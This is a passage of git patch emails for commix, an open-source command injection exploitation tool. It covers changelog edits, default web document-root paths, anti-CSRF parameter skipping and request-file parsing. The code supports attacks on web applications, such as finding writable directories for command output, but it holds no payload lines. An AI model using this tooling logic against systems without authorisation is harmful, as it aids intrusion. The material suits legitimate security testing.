The ability for target application extension recognition (i.e. PHP, ASP etc). -* Fixed: Minor improvement for finding the URL part (i.e. scheme:[//host[:port]][/]path). +* Fixed: Minor improvement for finding the URL part (i.e. `scheme:[//host[:port]][/]path`). * Fixed: Minor fix for conflicted shells (i.e. regular, alternative) from session file. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._ @@ -489,8 +489,8 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 0.8b (2016-05-06) * Fixed: The `--file-read` option to ignore the carriage return (`\r`) character in a text file. -* Added: The ability to check for empty value(s) in the defined GET, POST, `Cookie` data and skip. -* Replaced: The `INJECT_HERE` tag has been replaced with the `*` (asterisk) wildcard character. +* Added: The ability to check for empty value(s) in the defined GET, POST, Cookie data and skip. +* Replaced: The `INJECT_HERE` tag has been replaced with the asterisk (`*`) wildcard character. * Added: New option `--level` (1-3) that specifies level of tests to perform. * Added: New option `-p` that specifies a comma-separated list of GET and POST parameter. * Added: The ability to check every parameter in the provided cookie data. @@ -567,7 +567,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: The "reverse_tcp" shell option. * Added: The ability to check for default root directories (Apache/Nginx). * Added: Support for removal of (txt) shell files in semiblind techniques (i.e. "file-based", "tempfile-based"). -* Added: Support for `JSON POST` data. +* Added: Support for JSON POST data. * Added: The "enumeration" and "file-read" results to log file. * Added: The ability to get the user's approval before re-{enumerate/file-read} target. * Added: The ability to stop current injection technique and proceed on the next one(s). From 59e0d2314c55e84138355eda246b0cae61c0d794 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 30 Nov 2023 08:19:26 +0200 Subject: [PATCH 0365/1023] Minor update --- src/core/injections/controller/checks.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 14 +++++++------- .../semiblind/techniques/file_based/fb_injector.py | 4 +++- src/core/main.py | 1 + src/core/requests/requests.py | 8 ++++---- src/utils/settings.py | 10 ++++++---- 6 files changed, 22 insertions(+), 17 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ac8c951fca..32e878fcfc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -477,7 +477,7 @@ def page_encoding(response, action): pass if _: err_msg += "You are advised to rerun with" - err_msg += ('out', '')[menu.options.codec == None] + " the option '--codec'." + err_msg += ('out', '')[menu.options.codec == None] + " option '--codec'." print(settings.print_critical_msg(str(err_msg))) raise SystemExit() diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 7054cdd02f..3156f34475 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -50,7 +50,7 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + tmp_path + "' as temporary directory." + debug_msg = "Using '" + tmp_path + "' as temporary writable directory." print(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in temporary " info_msg += "directory ('" + tmp_path + "') for command execution output.\n" @@ -80,9 +80,9 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h """ def custom_web_root(url, timesec, filename, http_request_method, url_time_response): if settings.TARGET_OS == settings.OS.WINDOWS : - example_root_dir = "\\inetpub\\wwwroot" + example_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] else: - example_root_dir = "/var/www" + example_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) message = "Please provide web server document root directory (e.g. '" message += example_root_dir + "') > " settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True) @@ -216,9 +216,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + settings.WEB_ROOT + "' as web server document root." + debug_msg = "Using '" + settings.WEB_ROOT + "' as writable directory." print(settings.print_debug_msg(debug_msg)) - info_msg = "Trying to create a file in '" + settings.WEB_ROOT + info_msg = "Trying to create a file in directory '" + settings.WEB_ROOT info_msg += "' for command execution output. " print(settings.print_info_msg(info_msg)) @@ -379,7 +379,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) sys.stdout.write("\r") message = "It seems that you don't have permissions to " - message += "read and/or write files in '" + settings.WEB_ROOT + "'." + message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." if not menu.options.web_root: message += " You are advised to rerun with option '--web-root'." while True: @@ -431,7 +431,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " - warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." + warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": "," (") + ")." if settings.VERBOSITY_LEVEL >= 2: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index d6cd7c192c..3cebcda98e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -269,10 +269,12 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: if menu.options.web_root: scheme = _urllib.parse.urlparse(url).scheme + hostname = _urllib.parse.urlparse(url).hostname netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE for item in settings.LINUX_DEFAULT_DOC_ROOTS: + item = item.replace(settings.DOC_ROOT_TARGET_MARK, hostname) if item == menu.options.web_root: settings.DEFINED_WEBROOT = output break @@ -310,7 +312,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking URL '" + output + "' for command execution output." + debug_msg = "Checking if the file is accessible from '" + output + "'." print(settings.print_debug_msg(debug_msg)) return output diff --git a/src/core/main.py b/src/core/main.py index 318ba0aa86..0ece63cce6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -206,6 +206,7 @@ def url_response(url): print(settings.print_info_msg(info_msg)) # Check if http / https url = checks.check_http_s(url) + settings.TARGET_URL = _urllib.parse.urlparse(url).hostname # Check if defined Tor (--tor option). if menu.options.tor and settings.TOR_CHECK_AGAIN: tor.do_check() diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 419d38f7bf..80dda10473 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -793,13 +793,13 @@ def server_identification(server_banner): # Set up default root paths if "apache" in settings.SERVER_BANNER.lower(): if settings.TARGET_OS == settings.OS.WINDOWS: - settings.WEB_ROOT = "\\htdocs" + settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[1] else: - settings.WEB_ROOT = "/var/www" + settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) elif "nginx" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = "/usr/share/nginx" + settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[6] elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = "\\inetpub\\wwwroot" + settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] break else: if settings.VERBOSITY_LEVEL != 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 63a64eba15..d99920b0bf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1188,10 +1188,12 @@ class AUTH_TYPE(object): # Period after last-update to start nagging (about the old revision). NAGGING_DAYS = 31 -LINUX_DEFAULT_DOC_ROOTS = ["/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout -DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False - +TARGET_URL = "" +DOC_ROOT_TARGET_MARK = "%TARGET%" +WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot", "C:\\\\xampp\\htdocs", "C:\\\\wamp\\www"] +LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html", "/var/www", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout +DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False # HTTP Headers COOKIE = "Cookie" From fb1c7988ad69d2a6acd7d421dd11b6964ac3ed15 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 30 Nov 2023 11:28:54 +0200 Subject: [PATCH 0366/1023] Fixes https://github.com/commixproject/commix/issues/874 --- src/core/requests/requests.py | 2 +- src/utils/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 80dda10473..67c5515385 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -797,7 +797,7 @@ def server_identification(server_banner): else: settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) elif "nginx" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[6] + settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[6] elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] break diff --git a/src/utils/settings.py b/src/utils/settings.py index d99920b0bf..9c3d2f349a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1191,7 +1191,7 @@ class AUTH_TYPE(object): TARGET_URL = "" DOC_ROOT_TARGET_MARK = "%TARGET%" WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot", "C:\\\\xampp\\htdocs", "C:\\\\wamp\\www"] -LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html", "/var/www", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout +LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html", "/var/www", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/usr/share/nginx", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False From f14a1fab873f3a0bf862318b016258c824c5e465 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 1 Dec 2023 08:12:21 +0200 Subject: [PATCH 0367/1023] Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted) --- doc/CHANGELOG.md | 1 + doc/THANKS.md | 3 ++- src/core/requests/parameters.py | 3 +++ src/utils/settings.py | 2 +- 4 files changed, 7 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index db6c4a3e2b..2ec274f9e5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) * Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). * Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. diff --git a/doc/THANKS.md b/doc/THANKS.md index 9fc8ad2be6..a3ea5cba2f 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [xerxoria](https://github.com/xerxoria) for reporting a bug and for suggesting a relevant fix. * Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md. * Thanks [0xFred](https://github.com/0xFred) for contributing code. * Thanks [verfosec](https://github.com/verfosec) for contributing a Farsi(Persian) translation of README.md. @@ -81,7 +82,7 @@ * Thanks [Slavery](https://github.com/Slavery) for reporting a bug. * Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug. * Thanks [somarrr](https://github.com/somarrr) for reporting a bug. -* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting suggesting enhancements. +* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting enhancements. * Thanks [td4b](https://github.com/td4b) for contributing code. * Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug. * Thanks [Tensha](https://github.com/Tensha) for reporting a bug. diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index f38d91dd15..c6a9ae4193 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -136,6 +136,7 @@ def multi_params_get_value(parameter): value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: @@ -322,6 +323,7 @@ def multi_params_get_value(param, all_params): value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: @@ -523,6 +525,7 @@ def multi_params_get_value(parameter): value = multi_params_get_value(all_params[param]) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Ignoring the Google analytics cookie parameter. if checks.ignore_google_analytics_cookie(all_params[param]): diff --git a/src/utils/settings.py b/src/utils/settings.py index 9c3d2f349a..80b102796c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ddcf515b2a27c6159a0d753f5e3ab944492c737d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 4 Dec 2023 08:09:46 +0200 Subject: [PATCH 0368/1023] Minor update regarding commit https://github.com/commixproject/commix/commit/f14a1fab873f3a0bf862318b016258c824c5e465 --- src/core/injections/controller/checks.py | 11 ++++++----- src/utils/settings.py | 2 +- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 32e878fcfc..12b4962730 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -408,11 +408,12 @@ def PCRE_e_modifier(parameter, http_request_method): """ def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): - if (len(parameter.split("="))) == 2: - info_msg = "Ignoring the parameter '" + parameter.split("=")[0] - info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." - print(settings.print_info_msg(info_msg)) - return True + if not any(parameter for token in settings.TEST_PARAMETER): + if (len(parameter.split("="))) == 2: + info_msg = "Ignoring the parameter '" + parameter.split("=")[0] + info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." + print(settings.print_info_msg(info_msg)) + return True """ Ignoring the Google analytics cookie parameter. diff --git a/src/utils/settings.py b/src/utils/settings.py index 80b102796c..bc4dc1dd27 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 879420c3395649b69781f1079354c45c6b8646c1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 7 Dec 2023 08:54:52 +0200 Subject: [PATCH 0369/1023] Minor update regarding checking injection technique(s) status. --- src/core/injections/controller/checks.py | 9 +++ src/core/injections/controller/controller.py | 67 ++++++++++---------- src/utils/session_handler.py | 1 + src/utils/settings.py | 2 +- 4 files changed, 43 insertions(+), 36 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 12b4962730..b0660c1096 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -56,6 +56,15 @@ except: settings.READLINE_ERROR = True +""" +Check injection technique(s) status. +""" +def injection_techniques_status(): + if settings.CLASSIC_STATE != True and settings.EVAL_BASED_STATE != True and settings.TIME_BASED_STATE != True and settings.FILE_BASED_STATE != True: + return False + else: + return True + """ Check for custom injection marker (*) """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 22357daeb0..78eda416bf 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -369,7 +369,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : + if checks.injection_techniques_status() == False: warn_msg = "The tested" if header_name != " cookie" and the_type != " HTTP header": warn_msg += " " + str(http_request_method) + "" @@ -758,45 +758,42 @@ def do_check(url, http_request_method, filename): pass else: perform_checks(url, http_request_method, filename) - + # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : - if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: - err_msg = "All tested parameters " - if menu.options.level > settings.COOKIE_INJECTION_LEVEL: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " Try to increase value for '--level' option" - if menu.options.skip_empty: - err_msg += " and/or remove option '--skip-empty'" - err_msg += " if you wish to perform more tests." - if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: - err_msg += " Rerun without providing the option " - if not settings.SKIP_TECHNIQUES : - err_msg += "'--technique'." - else: - err_msg += "'--skip-technique'." - err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" - if not menu.options.alter_shell : - err_msg += " use option '--alter-shell'" + if not settings.INJECTION_CHECKER: + err_msg = "All tested parameters " + if menu.options.level > settings.COOKIE_INJECTION_LEVEL: + err_msg += "and HTTP headers " + err_msg += "appear to be not injectable." + if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg += " Try to increase value for '--level' option" + if menu.options.skip_empty: + err_msg += " and/or remove option '--skip-empty'" + err_msg += " if you wish to perform more tests." + if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " Rerun without providing the option " + if not settings.SKIP_TECHNIQUES : + err_msg += "'--technique'." else: - err_msg += " remove option '--alter-shell'" + err_msg += "'--skip-technique'." + err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" + if not menu.options.alter_shell : + err_msg += " use option '--alter-shell'" + else: + err_msg += " remove option '--alter-shell'" + if not menu.options.tamper: + err_msg += " and/or use option '--tamper'" + if not menu.options.random_agent: if not menu.options.tamper: - err_msg += " and/or use option '--tamper'" - if not menu.options.random_agent: - if not menu.options.tamper: - err_msg += " and/or" - err_msg += " switch '--random-agent'" - err_msg += "." - if settings.MULTI_TARGETS: - err_msg += " Skipping to the next target." - print(settings.print_error_msg(err_msg)) + err_msg += " and/or" + err_msg += " switch '--random-agent'" + err_msg += "." + if settings.MULTI_TARGETS: + err_msg += " Skipping to the next target." + print(settings.print_error_msg(err_msg)) else: logs.print_logs_notification(filename, url) - # if not settings.MULTI_TARGETS: - # print(settings.SINGLE_WHITESPACE) - if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: + if not settings.MULTI_TARGETS: common.show_http_error_codes() raise SystemExit() diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index f050c4c2fc..7ab4a34765 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -290,6 +290,7 @@ def notification(url, technique, injection_type): message += " injection point? [Y/n] > " settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) if settings.LOAD_SESSION in settings.CHOICE_YES: + settings.INJECTION_CHECKER = True return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False diff --git a/src/utils/settings.py b/src/utils/settings.py index bc4dc1dd27..657073e058 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 579f463be0f685f6853e47036c3ca01451da859a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 8 Dec 2023 08:43:05 +0200 Subject: [PATCH 0370/1023] Refactoring regarding parsing data --- src/core/injections/controller/parser.py | 253 +++++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 125 insertions(+), 130 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 4d09910fe7..11e32b6490 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -53,12 +53,10 @@ def multi_requests(): Error message for invalid data. """ def invalid_data(request): - print(settings.SINGLE_WHITESPACE) err_msg = "Specified file " err_msg += "'" + os.path.split(request_file)[1] + "'" err_msg += " does not contain a valid HTTP request." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.requestfile: @@ -69,142 +67,139 @@ def invalid_data(request): request_file = menu.options.logfile if not os.path.exists(request_file): - print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + request_file + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) raise SystemExit() - else: - try: - if menu.options.requestfile: - with open(request_file, 'r') as file: - settings.RAW_HTTP_HEADERS = [line.strip() for line in file] - settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] - settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) - - if os.stat(request_file).st_size != 0: - with open(request_file, 'r') as file: - request = file.read() - else: - invalid_data(request_file) + try: + if menu.options.requestfile: + with open(request_file, 'r') as file: + settings.RAW_HTTP_HEADERS = [line.strip() for line in file] + settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header] + settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] + settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] + settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) + + if os.stat(request_file).st_size != 0: + with open(request_file, 'r') as file: + request = file.read() + else: + invalid_data(request_file) - except IOError as err_msg: - error_msg = "The '" + request_file + "' " - error_msg += str(err_msg.args[1]).lower() + "." - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + except IOError as err_msg: + error_msg = "The '" + request_file + "' " + error_msg += str(err_msg.args[1]).lower() + "." + print(settings.SINGLE_WHITESPACE) + print(settings.print_critical_msg(error_msg)) + raise SystemExit() - single_request = True - pattern = r'HTTP/([\d.]+)' - if len(re.findall(pattern, request)) > 1: - single_request = multi_requests() + single_request = True + pattern = r'HTTP/([\d.]+)' + if len(re.findall(pattern, request)) > 1: + single_request = multi_requests() - if len(settings.HTTP_METHOD) == 0: - http_method = request.strip().splitlines()[0].split()[0] - settings.HTTP_METHOD = http_method - else: - http_method = settings.HTTP_METHOD - - if "\\n" in request: - request = request.replace("\\n","\n") - request_url = re.findall(r"" + " (.*) HTTP/", request) - - if request_url: - try: - # Check empty line for POST data. - if len(request.splitlines()[-2]) == 0: - result = [item for item in request.splitlines() if item] - multiple_xml = [] - for item in result: - if checks.is_XML_check(item): - multiple_xml.append(item) - if len(multiple_xml) != 0: - menu.options.data = '\n'.join([str(item) for item in multiple_xml]) - else: - menu.options.data = result[len(result)-1] - else: - # Check if url ends with "=". - if request_url[0].endswith("="): - request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) - except IndexError: - invalid_data(request_file) + if len(settings.HTTP_METHOD) == 0: + http_method = request.strip().splitlines()[0].split()[0] + settings.HTTP_METHOD = http_method + else: + http_method = settings.HTTP_METHOD - # Check if invalid data - else: - invalid_data(request_file) + if "\\n" in request: + request = request.replace("\\n","\n") + request_url = re.findall(r"" + " (.*) HTTP/", request) - request_url = "".join([str(i) for i in request_url]) - # Check for other headers - extra_headers = "" - scheme = "http://" - for line in request.splitlines(): - if re.findall(r"Host: " + "(.*)", line): - menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) - # User-Agent Header - if re.findall(r"User-Agent: " + "(.*)", line): - menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) - # Cookie Header - if re.findall(r"Cookie: " + "(.*)", line): - menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) - # Referer Header - if re.findall(r"Referer: " + "(.*)", line): - menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) - if menu.options.referer and "https://" in menu.options.referer: - scheme = "https://" - if re.findall(r"Authorization: " + "(.*)", line): - auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() - menu.options.auth_type = auth_provided[0].lower() - if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: - menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() - elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: - if not menu.options.auth_cred: - print(settings.SINGLE_WHITESPACE) - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Add extra headers - else: - match = re.findall(r"(.*): (.*)", line) - match = "".join([str(i) for i in match]).replace("', '",":") - match = match.replace("('", "") - match = match.replace("')","\\n") - # Ignore some header. - if "Content-Length" or "Accept-Encoding" in match: - extra_headers = extra_headers + if request_url: + try: + # Check empty line for POST data. + if len(request.splitlines()[-2]) == 0: + result = [item for item in request.splitlines() if item] + multiple_xml = [] + for item in result: + if checks.is_XML_check(item): + multiple_xml.append(item) + if len(multiple_xml) != 0: + menu.options.data = '\n'.join([str(item) for item in multiple_xml]) else: - extra_headers = extra_headers + match - - # Extra headers - menu.options.headers = extra_headers - # Target URL - if not menu.options.host: + menu.options.data = result[len(result)-1] + else: + # Check if url ends with "=". + if request_url[0].endswith("="): + request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) + except IndexError: invalid_data(request_file) + + # Check if invalid data + else: + invalid_data(request_file) + + request_url = "".join([str(i) for i in request_url]) + # Check for other headers + extra_headers = "" + scheme = "http://" + for line in request.splitlines(): + if re.findall(r"Host: " + "(.*)", line): + menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) + # User-Agent Header + if re.findall(r"User-Agent: " + "(.*)", line): + menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) + # Cookie Header + if re.findall(r"Cookie: " + "(.*)", line): + menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + 